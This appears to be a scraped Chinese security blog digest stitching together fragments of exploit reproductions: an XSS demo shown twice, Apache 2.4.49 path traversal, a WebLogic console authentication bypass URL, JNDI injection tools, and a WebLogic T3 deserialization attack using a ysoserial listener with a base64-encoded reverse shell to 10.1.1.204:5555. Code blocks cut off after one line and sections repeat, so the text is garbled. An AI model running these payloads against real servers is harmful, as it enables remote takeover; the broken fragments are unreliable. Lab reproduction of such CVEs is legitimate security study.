项目地址:https://github.com/haozi/xss-demo
0x00
input
1 | <script>alert(1)</script> |
html
1 | <div><script>alert(1)</script></div> |
server code
1 | function render (input) { |
项目地址:https://github.com/haozi/xss-demo
input
1 | <script>alert(1)</script> |
html
1 | <div><script>alert(1)</script></div> |
server code
1 | function render (input) { |
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中,引入了ap_normalize_path
函数,导致了路径穿越漏洞。
该漏洞仅影响2.4.49版本,此外还需要在配置文件中允许访问穿越的目录,如<Directory />Require all granted</Directory>
,使用默认配置的Apache HTTP Server不受影响。
在服务器开启cgi或cgid模块的情况下,该漏洞可执行任意命令。
这里使用vulhub的环境,docker-compose up -d
启动环境
使用自己搭建的环境时,需要修改httpd.conf
文件,主要是以下内容
1 | # 取消#注释 |
该漏洞为Weblogic的远程代码执行漏洞,攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。
使用vulhub CVE-2020-14882搭建漏洞环境,docker-compose up -d
开启weblogic 12.2.1.3服务器
1、启动ldap监听
使用JNDI注入工具开启ldap监听
可以用:https://github.com/welk1n/JNDI-Injection-Exploit
或者这个:https://github.com/feihong-cs/JNDIExploit
两者区别在于feihong-cs大佬的项目可以在http header中设置cmd参数来回显,如下图:
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
使用vulhub搭建漏洞环境,docker-compose up -d
开启weblogic 12.2.1.3服务器
漏洞环境url拼接/console/css/%252e%252e%252fconsole.portal
,即可直接访问console后台
搭的环境和之前遇到的环境都遇到一个问题,访问上述url后会重定向到
/console/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1
,显示404界面,并未进入后台,这时再将url路径改为/console/css/%252e%252e%252fconsole.portal
,即可进入后台
今天测试,遇到了这个漏洞,vulmap扫到了这个漏洞,另一个weblogic漏洞利用工具却没扫到,就想着来复现一下这个漏洞,没想到还踩了个大坑,刚好水篇文章记录一下…
WebLogic远程代码执行漏洞(CVE-2018-3191)允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server,成功的漏洞利用可导致WebLogic Server被攻击者接管,从而造成远程代码执行。
使用vulhub CVE-2018-2628搭建漏洞环境,docker-compose up -d
开启weblogic 10.3.6.0服务器
1、开启RMI监听
1 | java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1097 CommonsCollections1 "/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMjA0LzU1NTUgMD4mMQ==}|{base64,-d}|{/bin/bash,-i}" |
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMjA0LzU1NTUgMD4mMQ==
解码后:bash -i >& /dev/tcp/10.1.1.204/5555 0>&1
,base64编码避免反弹shell中特殊符号被Runtime.getRuntime().exec()
转义
题目是代码审计
1 | <?php |